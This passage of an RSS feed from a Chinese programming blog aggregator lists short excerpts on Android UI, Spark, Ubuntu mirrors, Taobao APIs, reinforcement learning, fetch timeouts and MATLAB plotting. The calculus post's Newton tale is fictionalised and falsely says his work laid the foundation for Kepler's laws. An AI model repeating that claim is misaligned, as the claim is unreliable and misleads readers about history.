更改之后idea内存会慢慢慢慢慢慢慢慢慢慢慢慢往上增加，用电脑管家、360加速球这种清理内存的加速一下，就能清理idea内存，ide内存会从0MB开始，告别卡顿。&#xA;这里我给大家推荐Mem Reduct软件https://www.henrypp.org/product/memreduct&#xA;不用下载流氓软件导致系统肿瘤不常用的功能，不二之选</description>
    </item>
    <item>
      <title>BottomSheet 的使用介绍（BottomSheetBeahvior，BottomSheetDialog,BottomSheetDialogFragment）</title>
      <link>https://bchobby.github.io/posts/844820eb6809daaa99f7a2601e28cd3c/</link>
      <pubDate>Sun, 12 Nov 2023 21:37:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/844820eb6809daaa99f7a2601e28cd3c/</guid>
      <description>目录 文章目录 目录1.什么是BottomSheet1、BottomSheetBeahvior**3.1 BottomSheetBehavior的几种状态****3.2 BottomSheetBehavior的简单使用** 2.BottomSheetDialog3.BottomSheetDialogFragment 1.什么是BottomSheet BottomSheet是一种从屏幕底部向上滑出一个对话框的效果，可以用来显示内容或者提供与用户相关的操作，在开发过程中十分常见，Bottom Sheet 具体实现主要包含：BottomSheetBeahvior 、BottomSheetDialog、BottomSheetDialogFragment，这三个组件均可以实现半屏弹出效果，区别点在于接入和使用方式上的差异&#xA;三个组件的概述&#xA;BottomSheetBeahvior 一般直接作用在view上，一般在xml布局文件中直接对view设置属性，轻量级、代码入侵低、灵活性高,适用于复杂页面下的半屏弹出效果。app:layout_behavior=“@string/bottom_sheet_behavior”BottomSheetDialog 的使用和对话框的使用基本上是一样的。通过setContentView()设定布局，调用show()展示即可。因为必须要使用Dialog，使用上局限相对多，因此一般适用于底部弹出的轻交互弹窗，如底部说明弹窗等。BottomSheetDialogFragment 的使用同普通的Fragment一样，可以将交互和UI写到Fragment内，适合一些有简单交互的弹窗场景，如底部分享弹窗面板等。 1、BottomSheetBeahvior Behavior是Android Support Design库里面新增的布局概念，主要的作用是用来协调CoordinatorLayout布局（Jetpack中的一个FrameLayout优化（第一行代码中只是简单说了他是FrameLayout优化没有进一步拓展））直接Child Views之间布局及交互行为的，包含拖拽、滑动等各种手势行为。&#xA;CoordinatorLayout布局：一个可协调子视图（Child Views）之间交互行为的布局容器。而Behavior则定义了每个子视图（Child View）与CoordinatorLayout之间的特定交互行为。这里注意Behavior只能应用于CoordinatorLayout布局中的子视图，而且需要CoordinatorLayout配合使用，以实现预期的效果.&#xA;从名字即可以看出，BottomSheetBehavior继承CoordinatorLayout.Behavior，借用behavior的布局和事件分发能力来实现底部弹出动画及手势拖拽效果。下面首先分析下bottomsheet初始弹出时是如何实现弹出动画。一个简单的半屏滑动布局如下：&#xA;3.1 BottomSheetBehavior的几种状态 STATE_HIDDEN ：隐藏状态，关联的View此时并不是GONE，而是此时在屏幕最下方之外，此时只是无法肉眼看到 STATE_COLLAPSED ：折叠状态，一般是一种半屏形态 STATE_EXPANDED：完全展开，完全展开的高度是可配置，默认即屏幕高度。类似地图首页一般完全展开态的高度配置为距离屏幕高差一小截距离。 STATE_DRAGGING：拖拽状态，标识人为手势拖拽中（手指未离开屏幕）STATE_SETTLING ：视图从脱离手指自由滑动到最终停下的这一小段时间，与STATE_DRAGGING差异在于当前并没有手指在拖拽。主要表达两种场景：初始弹出时动画状态、手指手动拖拽释放后的滑动状态。 这些图片来自CSDN探索BottomSheet的背后秘密，这位博主讲的十分细致需要一些知识积累，如果你看完发现有些东西不足以满足你的需要，你可以看看这位博主的内容，我这里仅仅讲解了如何简单使用&#xA;3.2 BottomSheetBehavior的简单使用 1.设置CoordinatorLayout作为父布局，并设置需要弹出的View的layout_behavior为BottomSheetBehavior。&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;androidx.coordinatorlayout.widget.CoordinatorLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; xmlns:app=&#34;http://schemas.android.com/apk/res-auto&#34; xmlns:tools=&#34;http://schemas.android.com/tools&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; tools:context=&#34;.MainActivity&#34;&amp;gt; &amp;lt;LinearLayout android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; android:orientation=&#34;vertical&#34; android:paddingTop=&#34;24dp&#34;&amp;gt; &amp;lt;Button android:id=&#34;@+id/button_1&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;wrap_content&#34; android:text=&#34;Button 1&#34; android:padding=&#34;16dp&#34; android:layout_margin=&#34;8dp&#34; android:textColor=&#34;@android:color/white&#34; android:background=&#34;@android:color/holo_green_dark&#34;/&amp;gt; &amp;lt;Button android:id=&#34;@+id/button_2&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;wrap_content&#34; android:padding=&#34;16dp&#34; android:layout_margin=&#34;8dp&#34; android:text=&#34;</description>
    </item>
    <item>
      <title>人类为什么要发明微积分？用Python实现微积分</title>
      <link>https://bchobby.github.io/posts/b70b1555cec9676fdfa24a51cbcb9710/</link>
      <pubDate>Sun, 12 Nov 2023 17:55:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b70b1555cec9676fdfa24a51cbcb9710/</guid>
      <description>很久很久以前，在一个宁静的小村庄中，住着一位名叫牛顿的年轻学者。牛顿对于周围的一切都充满好奇心，他喜欢仰望星空、观察植物生长，并经常思考自然界中的各种奥秘。&#xA;有一天，当他坐在庄园的苹果树下阅读书籍时，一颗成熟的苹果突然从树上掉了下来。这个平凡的瞬间却在牛顿心中掀起了一场奇妙的思考风暴。他开始思考为什么苹果会落下，为什么不会漂浮在空中。这个简单的问题引导他走向了数学的奇妙领域。&#xA;于是，牛顿决定用数学的语言来揭示这个现象的奥秘。他开始思考运动和变化的本质，最终他创造出了微积分，这是一种独特的数学工具，通过它人们可以理解运动中的变化。为了更好地理解，我们来看一个例子：&#xA;假设一个小球从空中落下，牛顿用微积分的概念描述了小球下落的过程。他引入了导数的概念，表示小球下落的速度。通过对速度的积分，他得到了下落的距离。这使得我们可以准确地预测小球在任意时间的位置和速度。&#xA;随着时间的推移，牛顿的好奇心并未止步于苹果的落地。他将微积分应用到了更广泛的领域。例如，他用微积分解释了光的折射和反射，帮助我们理解了彩虹的形成。他还通过微积分描述了行星的运动轨迹，这为后来的开普勒定律奠定了基础。&#xA;微积分是一门数学理论，它的实际应用通常是通过数学软件或编程语言来实现。在实际编程中，主要涉及到导数和积分的计算。下面是一个简单的例子，使用Python中的SymPy库进行微积分计算。&#xA;首先，安装了SymPy库。如果没有安装，可以使用以下命令进行安装：&#xA;pip install sympy 然后，可以使用下面的Python代码来进行导数和积分的计算：&#xA;import sympy as sp # 定义变量和函数 x = sp.symbols(&#39;x&#39;) f = x**2 + 3*x + 2 # 计算导数 derivative = sp.diff(f, x) print(f&#34;导数: {derivative}&#34;) # 计算定积分 integral = sp.integrate(f, x) print(f&#34;积分: {integral}&#34;) 上述代码中，我们首先使用sp.symbols定义了变量x，然后定义了一个函数f，其中包含了一些代数表达式。接着，使用sp.diff计算了函数的导数，使用sp.integrate计算了函数的积分。最后，输出了导数和积分的结果。&#xA;牛顿的发现不仅仅是一时的奇迹，更是一场源自对自然的深入观察和对问题的不懈追求的冒险。他的奇思妙想不仅为我们打开了理解世界的新大门，也为数学和物理学的发展做出了卓越的贡献。在他的足迹中，人们学会了更深刻地理解自然界的运行规律，也理解了数学的力量是如何推动科学的不断进步。</description>
    </item>
    <item>
      <title>Spark程序完成一些简单指标的计算</title>
      <link>https://bchobby.github.io/posts/24bc093ea586ab220069d8fb8735058f/</link>
      <pubDate>Sun, 12 Nov 2023 17:54:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24bc093ea586ab220069d8fb8735058f/</guid>
      <description>需求指标： 五个相关的统计指标&#xA;1.统计每个国家在2015的死亡人数并按照死亡人数降序排序&#xA;2.统计某个国家在该数据集中每年的死亡人数并按照死亡人数降序排序&#xA;3.统计每个国家上传的总数据量筛选前十条进行查看&#xA;4.通过虚拟机监听端口模拟发送国家死亡人数的json数据并进行实时处理统计得到关于年份的数据条数&#xA;5.&#xA;目录&#xA;需求指标：&#xA;数据来源：&#xA;数据处理：&#xA;统计指标&#xA;I ：统计每个国家在2015的死亡人数并按照死亡人数降序排序&#xA;II ：统计某个国家在该数据集中每年的死亡人数并按照死亡人数降序排序&#xA;III ：统计每个国家上传的总数据量筛选前十条进行查看&#xA;IIII ：通过虚拟机监听端口模拟发送国家死亡人数的json数据并进行实时处理统计得到关于年份的总数据条数&#xA;IIIII ：考虑时间单位的不同处理先数据集中挑选时间单位为月的数据,不考虑人民基数写一个自定义函数判断该国家的当前月份人民健康状况（自定）&#xA;总结：&#xA;考虑时间单位的不同处理先数据集中挑选时间单位为月的数据,不考虑人民基数写一个自定义函数判断该国家的当前月份人民健康状况（自定）&#xA;数据来源： 爱数科&#xA;数据科学科研和教学一体化平台 (idatascience.cn)&#xA;数据处理： 从网站中下载的数据为csv格式需要进行转换我们使用CSV转JSON - 在线转换文档文件转成JSON格式的数据集文件方便使用spark处理数据&#xA;统计指标 I ：统计每个国家在2015的死亡人数并按照死亡人数降序排序 package com.lzzy; import org.apache.spark.sql.AnalysisException; import org.apache.spark.sql.Dataset; import org.apache.spark.sql.Row; import org.apache.spark.sql.SparkSession; public class I { public static void main(String[] args) throws AnalysisException { SparkSession ss = SparkSession.builder().appName(&#34;I&#34;).master(&#34;local&#34;).getOrCreate(); Dataset&amp;lt;Row&amp;gt; data = ss.read().json(&#34;D:\\spark\\Global mortality analysis\\1.json&#34;); // data.show(); data.</description>
    </item>
    <item>
      <title>软件架构的可维护性指标——代码圈复杂度</title>
      <link>https://bchobby.github.io/posts/7e20cc38ccc6dec18becd5fa3b0994e1/</link>
      <pubDate>Sun, 12 Nov 2023 17:48:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e20cc38ccc6dec18becd5fa3b0994e1/</guid>
      <description>代码圈复杂度 1、目的2、前言3、简介4、案例5、降低6、插件7、总结 1、目的 区别于常规的高内聚、低耦合、抽象、封装这种定性的指标，我想通过对软件架构可维护性的可量化的指标的分享，帮助大家在日常的开发工作中，有一个更为广阔的视角去审视我们编写的代码。即编写代码时，如果相关量化指标数据升高且超过一定的阈值，那么反问自己一下，当前的编码逻辑方便阅读吗？&#xA;2、前言 软件架构是软件开发和维护过程中的一个重要制品，是软件需求和设计、实现之间的桥梁。软件架构的开发和维护是基于架构软件软件生命周期中的重要环节，与之相关的步骤包括导出架构需求、架构开发、架构文档化、架构分析、架构实现和架构维护。软件架构的维护与演化密不可分，维护需要对软件架构的演化过程进行追踪和控制，以保障软件架构的演化过程能够满足需求（亦有说法将架构维护作为架构演化的一个部分）&#xA;那么如何衡量软件架构的可维护性呢？官方给出了六个指标。&#xA;其中圈复杂度 (CCN) 度量整个架构的独立执行路径的条数，该结果值即为待评估架构的最终度量结果；而对于扇入扇出度 (FFC) 、模块间耦合度 (CBO) 、模块的响应 (RFC) 、紧内聚度 (TCC) 、松内聚度 (LCC) 个度量指标，它们针对每个组件进行度量，则待评估架构的最终度量结果为所有组件结果的平均值。&#xA;3、简介 由于在组件图中组件是独立的，每个组件代表一个系统或子系统中的封装单位，封装了完整的事务处理行为，组件图能够通过组件之间的控制依赖关系来体现整个系统的组成结构。对架构的组件图进行圈复杂度的度量，可以对整个系统的复杂程度做出初步评估，在设计早期发现问题和做出调整，并预测待评估系统的测试复杂度，及早规避风险，提高软件质量。圈复杂度高的程序往往是最容易出现错误的程序，实践表明程序规模以 CCN小于等于10 为宜。&#xA;圈复杂度 = 程序控制流图中分支节点数 + 1，其它计算方法不做过多说明。&#xA;4、案例 以项目中的代码片段为例&#xA;圈复杂度为37的方法&#xA;圈复杂度为10的方法&#xA;圈复杂度为5的方法&#xA;我们不难发现，圈复杂度越高的代码，往往方法也越长，在阅读代码逻辑时，过长的方法（一屏装不下）和流程细节很影响阅读体验。&#xA;5、降低 于其说是降低代码圈复杂度的方法，不如说是常见的代码优化手段：&#xA;将条件判定提炼出独立函数将大函数拆成小函数以明确函数取代参数多态方式替代条件式移除控制标记… 更多优化方法可以参考《重构》、《代码整洁之道》等书籍&#xA;优化的本质是，该抽象抽象，该封装封装，在面向对象语言（Java）的大背景下，代码首先应该考虑如何自下而上面向对象的设计，而不是考虑如何自上而下的流程编码。&#xA;6、插件 metricsreloaded&#xA;Method metrics：&#xA;ev(G)（Essential Complexity (ev(G))：基本复杂度是用来衡量程序非结构化程度的，非结构成分降低了程序的质量，增加了代码的维护难度，使程序难于理解。因此，基本复杂度高意味着非结构化程度高，难以模块化和维护。实际上，消除了一个错误有时会引起其他的错误。Iv(G)（Module Design Complexity (iv(G))）：模块设计复杂度是用来衡量模块判定结构，即模块和其他模块的调用关系。软件模块设计复杂度高意味模块耦合度高，这将导致模块难于隔离、维护和复用。模块设计复杂度是从模块流程图中移去那些不包含调用子模块的判定和循环结构后得出的圈复杂度，因此模块设计复杂度不能大于圈复杂度，通常是远小于圈复杂度。v(G)（Cyclomatic Complexity (v(G))）：衡量圈复杂度，数量上表现为独立路径的条数，即合理的预防错误所需测试的最少路径条数，圈复杂度大说明程序代码可能质量低且难于测试和维护，经验表明，程序的可能错误和高的圈复杂度有着很大关系。 Class metrics：&#xA;OCavg：代表类的方法的平均循环复杂度WMC：总循环复杂度 Package metrics：包复杂度&#xA;v(G)avg：圈复杂度v(G)tot：总复杂度 Module metrics：模块复杂度&#xA;同上 Project metrics：项目复杂度&#xA;同上 7、总结 再次说明我们的目的不是去追求降圈复杂度的代码，因为过低的圈代码复杂度也不是最佳实践。而是要以有利架构维护的前提下，尽可能的提高代码的可读性。在开头的分享目的中提到，圈复杂度这一量化指标的提出，是帮助我们去审视编写的代码是否具有可读性。那么如何审视呢？&#xA;编写新业务流程时，当我们意识到方法过长或者圈复杂度过高时，应该考虑到需要对执行的流程进行抽象，至于抽象的方法是否需要满足xx设计、是否需要考虑未来的扩展，如果开发时间不允许，完全可以定义为private方法，而这个方法大概率也只有你自己会用。换个思路，将流程式的代码片段放在主逻辑中，也没有想要给给别人用。维护业务时，当我们意识到新增的业务流程会影响原流程的圈复杂度，并且圈复杂度超过了可接受的值，那么维护相关的代码则需要考虑是否需要抽象，抽象程度同理 屎山代码往往不是一个人造成的，而我们能做的也只有做好自己&#xA;测试驱动的开发 与 较低圈复杂度值 之间存在着紧密联系。</description>
    </item>
    <item>
      <title>Ubuntu18.04使用记录</title>
      <link>https://bchobby.github.io/posts/6002df8fc0f46cf525adedfabd5d44f2/</link>
      <pubDate>Sun, 12 Nov 2023 17:16:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6002df8fc0f46cf525adedfabd5d44f2/</guid>
      <description>​&#xA;1.换源 mv /etc/apt/sources.list /etc/apt/sourses.list.backup vi /etc/apt/sources.list deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse deb-src http://mirrors.</description>
    </item>
    <item>
      <title>item_get_sales获取商品销量详情的步骤和注意事项</title>
      <link>https://bchobby.github.io/posts/2648a3503c1bf03b39585a20527e008f/</link>
      <pubDate>Sun, 12 Nov 2023 17:01:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2648a3503c1bf03b39585a20527e008f/</guid>
      <description> item_get_sales接口可以用于获取淘宝天猫的商品销量详情。以下是获取商品销量详情的步骤：&#xA;注册淘宝开放平台账号，并创建一个应用。在应用中获取到API密钥，用于后续的调用身份验证和签名认证。根据需要选择适合的接口，例如item_get_sales接口。根据接口的调用规则，构造请求参数，包括商品ID和其他必要的参数。使用请求参数调用item_get_sales接口。解析返回的JSON数据，获取商品销量详情。 注意事项：&#xA;在使用item_get_sales接口时，需要遵守淘宝开放平台的相关规定和开发者规范，不得进行恶意操作或滥用。需要防范潜在的安全风险，如防范恶意请求、数据泄露等。根据实际需求选择适合的接口和参数，确保获取到准确的商品销量详情信息。如果接口返回数据异常或不符合预期，需要及时处理和解决，例如进行提醒或自动处理。在使用API接口时，需要注意请求频率限制，即单位时间内允许发送的请求数量有限，需要控制请求的频率，避免超出限制。需要注意数据的隐私和保密性，不得将敏感信息泄露给第三方或者用于非法用途。在使用API接口时，需要仔细阅读相关的文档和指南，了解接口的使用方法和规范，避免因误解或误用导致的问题。 </description>
    </item>
    <item>
      <title>如何item_review-获得淘宝商品评论</title>
      <link>https://bchobby.github.io/posts/241d6eaf3a3ea0049c37365c851e8343/</link>
      <pubDate>Sun, 12 Nov 2023 16:17:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/241d6eaf3a3ea0049c37365c851e8343/</guid>
      <description>要获得淘宝商品评论，您需要使用淘宝开放平台的API接口。具体步骤如下：&#xA;在淘宝开放平台注册一个开发者账号，并创建一个应用。在创建应用时，需要填写相关信息，包括应用名称、描述、类型等。在淘宝开放平台的API管理页面，可以找到商品评论API的相关接口。根据需要选择不同的接口，例如“淘宝商品评论列表接口”或“淘宝商品评论内容接口”。在选择接口后，需要了解接口的调用方式、参数列表等信息。这些信息可以在淘宝开放平台的API文档中找到。根据接口的调用方式和参数列表，编写代码进行调用。在调用时，需要使用淘宝开放平台提供的AppKey和AppSecret等信息，进行身份验证和签名认证。调用完成后，可以解析返回的JSON格式数据，获取商品评论的信息。 需要注意的是，在使用淘宝商品评论API时，需要遵守淘宝开放平台的相关规定和开发者规范，不得进行恶意操作或滥用。同时，需要防范潜在的安全风险，如防范恶意请求、数据泄露等。&#xA;数据实例&#xA;Result Object: --------------------------------------- { &#34;items&#34;: { &#34;totalpage&#34;: &#34;1&#34;, &#34;total_results&#34;: &#34;4&#34;, &#34;page_size&#34;: 3, &#34;page&#34;: &#34;1&#34;, &#34;item&#34;: [ { &#34;rate_content&#34;: &#34;太漂亮了 本来买的时候犹豫很久很久很久 从来没有买过黄色的 觉得不好配衣服也觉得图片一般 犹豫了有一天终于下定决心去买一个试试 结果太太太太让我惊喜了 太漂亮了 很亮鞋子特别舒服 我买的大一点 也很舒服 还挺好配衣服的 后悔就买一双了 现在我家都是她家的鞋子了 绝对的YYDS&#34;, &#34;rate_date&#34;: &#34;2022-08-23&#34;, &#34;pics&#34;: [], &#34;display_user_nick&#34;: &#34;梦**1&#34;, &#34;auction_sku&#34;: &#34;颜色分类:黄色【内里：超细纤维】;尺码:36&#34;, &#34;add_feedback&#34;: &#34;感谢您选择了我们，一直很担心您觉得我们做得不够好，怕您觉得我们的回复不够详细，又或者责怪我们的质检时不够仔细，但是在大部分时间里我们的团队真的已经尽了全力，希望您收到包裹的时候都能满意开心~&#34;, &#34;add_feedback_images&#34;: null, &#34;create_time_interval&#34;: null, &#34;read_count&#34;: &#34;0&#34;, &#34;rate_id&#34;: &#34;1184973493639&#34;, &#34;like_count&#34;: &#34;0&#34;, &#34;user_star_pic&#34;: &#34;https://img.alicdn.com/imgextra/i4/O1CN019QZnaG1U1LtUAPn6e_!!6000000002457-2-tps-92-45.png&#34; }, { &#34;rate_content&#34;: &#34;面料材质：材质有一点点硬，版型不错，整体还凑合，对得起这个价格 &#34;, &#34;rate_date&#34;: &#34;2021-11-16&#34;, &#34;pics&#34;: [ &#34;//img.alicdn.com/imgextra/i3/0/O1CN01TrfEtd2M3Ag2ClelC_!!0-rate.jpg&#34; ], &#34;</description>
    </item>
    <item>
      <title>【强化学习】18 —— SAC（ Soft Actor-Critic）</title>
      <link>https://bchobby.github.io/posts/110ac91f182932cb645db723e43bf966/</link>
      <pubDate>Sun, 12 Nov 2023 16:02:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/110ac91f182932cb645db723e43bf966/</guid>
      <description>文章目录 前言最大熵强化学习不同动作空间下的最大熵强化学习基于能量的模型软价值函数最大熵策略 Soft Q-learningSoft Q-IterationSoft Q-Learning近似采样与SVGD伪代码 Soft Actor-Critic伪代码代码实践连续动作空间离散动作空间 参考与推荐 前言 之前的章节提到过在线策略算法的采样效率比较低，我们通常更倾向于使用离线策略算法。然而，虽然 DDPG 是离线策略算法，但是它的训练非常不稳定，收敛性较差，对超参数比较敏感，也难以适应不同的复杂环境。2018 年，一个更加稳定的离线策略算法 Soft Actor-Critic（SAC）被提出。SAC 的前身是 Soft Q-learning，它们都属于最大熵强化学习的范畴。Soft Q-learning 不存在一个显式的策略函数，而是使用一个函数 Q Q Q的波尔兹曼分布，在连续空间下求解非常麻烦。于是 SAC 提出使用一个 Actor 表示策略函数，从而解决这个问题。目前，在无模型的强化学习算法中，SAC 是一个非常高效的算法，它学习一个随机性策略，在不少标准环境中取得了领先的成绩。&#xA;最大熵强化学习 熵是策略中随机性的一种度量，设 x x x为随机变量，概率密度函数为 P P P，熵 H H H的计算式为： H ( p ) = E x ∼ p [ − log ⁡ p ( x ) ] H(p)=\mathbb{E}_{x\sim p}[-\log p(x)] H(p)=Ex∼p​[−logp(x)]在强化学习中，我们可以使用 H ( π ( ⋅ ∣ s ) ) H(\pi(\cdot|s)) H(π(⋅∣s))来表示策略 π \pi π在状态 s s s下的随机程度。最大熵强化学习（maximum entropy RL）的思想就是除了要最大化累积奖励，还要使得策略更加随机，除此之外还要增加算法的鲁棒性以及提升策略的预训练效果。</description>
    </item>
    <item>
      <title>fetch函数没有默认超时时间的配置吗</title>
      <link>https://bchobby.github.io/posts/1723a189bb5f0cf07224b7865265b807/</link>
      <pubDate>Sun, 12 Nov 2023 15:54:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1723a189bb5f0cf07224b7865265b807/</guid>
      <description>chatgpt：&#xA;https://chat.xutongbao.top/&#xA;截至我知识的最后更新时间（2023年），原生的 fetch API 在大多数浏览器中并没有内置的默认超时时间。这意味着如果你没有明确地设置一个超时期限，fetch 请求可能会永远挂起（或者直到浏览器决定停止尝试为止）。&#xA;如果你需要设置超时，你可以自己实现一个超时机制。以下是一个在JavaScript中使用 fetch API 时设置超时的例子：&#xA;const fetchWithTimeout = (resource, options = {}) =&amp;gt; { const { timeout = 8000 } = options; // 设置默认超时时间为8000ms const controller = new AbortController(); const id = setTimeout(() =&amp;gt; controller.abort(), timeout); const response = fetch(resource, { ...options, signal: controller.signal }).then((response) =&amp;gt; { clearTimeout(id); return response; }).catch((error) =&amp;gt; { clearTimeout(id); throw error; }); return response; }; // 使用这个函数进行fetch请求并设置超时 fetchWithTimeout(&#39;https://your-api-endpoint.com&#39;, { timeout: 5000 }) // 设置5秒的超时 .</description>
    </item>
    <item>
      <title>淘宝/天猫获得淘宝商品详情 具体的用途</title>
      <link>https://bchobby.github.io/posts/d8f013c093ba1b7b7c8c3727317d3d82/</link>
      <pubDate>Sun, 12 Nov 2023 15:35:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8f013c093ba1b7b7c8c3727317d3d82/</guid>
      <description> 淘宝/天猫获得淘宝商品详情的具体用途如下：&#xA;电商平台运营：电商平台需要收集商品的详细信息，包括商品名称、描述、价格、规格、图片等，以便展示给用户进行购买决策。通过采集商品详情，电商平台可以提供丰富的商品信息给用户，并增加用户购买的便利性，提升用户体验。价格比较：通过采集不同电商平台或线下店铺的商品详情，可以进行价格比较，帮助消费者找到最合适的购买渠道，节省购物成本。数据分析和市场研究：采集商品详情可以提供大量的商品数据，通过对这些数据进行分析和挖掘，可以了解市场上不同商品的销售情况、价格趋势、受欢迎程度等信息，为企业制定销售策略和市场调研提供参考依据。库存管理：企业可以通过采集商品详情及时了解库存情况，及时补充缺货商品，避免因缺货而导致销售损失。商品评价和反馈分析：采集商品详情中的用户评价和反馈数据，可以帮助企业了解消费者对商品的满意度和意见，改进产品质量和服务，提升用户体验。 </description>
    </item>
    <item>
      <title>如何获得淘宝商品类目 API</title>
      <link>https://bchobby.github.io/posts/07de21efcf5f64ab7a6bf78c4068627b/</link>
      <pubDate>Sun, 12 Nov 2023 15:33:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07de21efcf5f64ab7a6bf78c4068627b/</guid>
      <description>淘宝商品详情API可以运用在以下几个方面：&#xA;电子商务平台：商品详情API接口可以提供商品的基本信息，如名称、描述、价格、图片等，帮助电子商务平台展示和推荐商品。此外，还可以提供商品的库存信息、销售数据、评论信息等，帮助平台进行数据分析和管理。零售电商APP：商品详情API接口可以提供商品的详细信息，帮助APP展示商品的图片、规格、参数等，以及提供购买、加入购物车等功能。此外，还可以提供商品的推荐信息，例如相关产品、搭配推荐等，帮助用户进行购物决策。搜索引擎：商品详情API接口可以提供商品的基本信息和元数据，帮助搜索引擎对商品进行索引和展示。例如，用户在搜索引擎中搜索某个商品时，可以展示来自不同电子商务平台的商品详情信息。广告系统：商品详情API接口可以提供商品的基本信息和元数据，帮助广告系统进行广告投放和推荐。例如，可以将商品信息与广告受众进行匹配，实现精准广告投放。价格比较工具：通过采集不同电商平台或线下店铺的商品详情，可以进行价格比较，帮助消费者找到最合适的购买渠道，节省购物成本。数据分析和市场研究：采集商品详情可以提供大量的商品数据，通过对这些数据进行分析和挖掘，可以了解市场上不同商品的销售情况、价格趋势、受欢迎程度等信息，为企业制定销售策略和市场调研提供参考依据。 总的来说，这些信息对于商家和开发者来说是非常有价值的，可以帮助他们更好地了解市场需求和消费者行为，优化销售策略和提高市场竞争力。同时，对于消费者来说，也可以提高购物的便利性和效率。</description>
    </item>
    <item>
      <title>ChatGPT、GPT-4 Turbo接口调用(stream模式）</title>
      <link>https://bchobby.github.io/posts/619636e97afb2e6ede7e710b396d3c58/</link>
      <pubDate>Sun, 12 Nov 2023 09:20:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/619636e97afb2e6ede7e710b396d3c58/</guid>
      <description>接口地址 https://chat.xutongbao.top/api/light/chat/createChatCompletion&#xA;请求方式 post&#xA;请求参数 model可选值：&#xA;“gpt-3.5-turbo-1106”、 “gpt-3.5-turbo-16k” 、 “gpt-4”、“gpt-4-1106-preview”。 默认值为： “gpt-3.5-turbo-1106”&#xA;token获取方式：&#xA;访问：https://chat.xutongbao.top/&#xA;使用邮箱注册账号&#xA;点击【我的】&#xA;点击【API】&#xA;前端发起请求的方法 fetch&#xA;示例代码 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34; /&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34; /&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;textarea id=&#34;input&#34;&amp;gt;&amp;lt;/textarea&amp;gt; &amp;lt;div&amp;gt; &amp;lt;button onclick=&#34;handleSend()&#34;&amp;gt;发送&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&#34;result&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; async function handleSend() { let messageHot = &#39;&#39; document.getElementById(&#39;result&#39;).innerHTML = &#39;&#39; let content = document.getElementById(&#39;input&#39;).value document.getElementById(&#39;input&#39;).value = &#39;&#39; const response = await fetch( `https://chat.xutongbao.top/api/light/chat/createChatCompletion`, { method: &#39;post&#39;, headers: { &#39;Content-Type&#39;: &#39;application/json&#39;, Accept: &#39;text/event-stream&#39;, }, body: JSON.</description>
    </item>
    <item>
      <title>matlab绘制三维图形</title>
      <link>https://bchobby.github.io/posts/906fa1121358b941f6ffbb4a0728ab75/</link>
      <pubDate>Sun, 12 Nov 2023 02:03:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/906fa1121358b941f6ffbb4a0728ab75/</guid>
      <description>%% mesh函数：绘制出在某一区间内完整的网格图 %% mesh(X,Y,Z)的用法，其中X是n维向量,Y是m维向量，Z是m*n维的矩阵 X = [1,2,4] Y = [3,5] Z = [4,8,10;5,9,13] mesh(X,Y,Z) % (X(j), Y(i), Z(i,j))是线框网格线的交点的坐标 xlabel(&#39;x轴&#39;); ylabel(&#39;y轴&#39;); zlabel(&#39;z轴&#39;); % 加上坐标轴的标签 % 三维旋转和数据游标的使用，以及X-Y视图的切换（在三维旋转状态下点击鼠标右键） % 数据游标默认只能添加一个，按住Alt键不动，可以添加多个数据游标 % 插入颜色栏，可显示色阶 %% mesh(Z)的用法，其中Z是m*n维的矩阵 Z = [4,8,10;5,9,13] mesh(Z) xlabel(&#39;x轴&#39;); ylabel(&#39;y轴&#39;); zlabel(&#39;z轴&#39;); % 加上坐标轴的标签 % 等价于 X = 1:3 Y = 1:2 Z = [4,8,10;5,9,13] mesh(X,Y,Z) xlabel(&#39;x轴&#39;); ylabel(&#39;y轴&#39;); zlabel(&#39;z轴&#39;); % 加上坐标轴的标签 %% 思考：如果X中元素不是按照从小到大排序的，图像会是什么样子？ X = [1,10,4] Y = [3,5] Z = [4,8,10;5,9,13] mesh(X,Y,Z) hidden off % 可以看到背部的图像，不会遮挡（默认是看不到的） xlabel(&#39;x轴&#39;); ylabel(&#39;y轴&#39;); zlabel(&#39;z轴&#39;); % 加上坐标轴的标签 % 如果觉得背部的图像显示的颜色太深了，可以更改透明度 mesh(X,Y,Z) alpha(0.</description>
    </item>
    <item>
      <title>Java线程池——Executor框架</title>
